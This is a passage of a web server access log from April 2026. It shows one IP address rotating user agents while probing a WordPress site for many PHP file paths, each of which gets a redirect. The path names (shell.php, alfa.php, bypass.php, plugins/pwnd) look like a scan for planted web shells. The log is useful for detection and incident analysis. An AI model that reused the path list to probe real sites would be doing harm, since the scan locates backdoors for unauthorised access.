rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:07 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:07 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:08 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:08 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:28:09 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:09 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:09 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:09 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:10 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:10 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:10 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:11 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:11 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:12 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:12 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:12 +0300] "GET /about/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:13 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:13 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:13 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:14 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:14 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:14 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:15 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:15 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:15 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:28:16 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:28:16 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:16 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:17 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:17 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:17 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:28:18 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:18 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:18 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:19 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:19 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:19 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:28:20 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:20 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:20 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:28:21 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:21 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:28:21 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:22 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:22 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:22 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:23 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:23 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:28:23 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:28:24 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:24 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:24 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:25 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:25 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:28:25 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:28:26 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:26 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:26 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:28:27 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:27 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:27 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:28 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:28 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:28 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:29 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:29 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:29 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:29 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:30 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:28:30 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:31 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:28:31 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:31 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:28:31 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:32 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:32 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:32 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:28:33 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:33 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:33 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:28:34 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:34 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:34 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:28:35 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:35 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:35 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:36 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:28:36 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:28:36 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:37 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:37 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:37 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:37 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:38 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:38 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:38 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:39 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:39 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:39 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:28:40 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:40 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:40 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:28:41 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:28:41 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:28:41 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:42 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:42 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:28:42 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:43 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:43 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:43 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:28:44 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:44 +0300] "GET 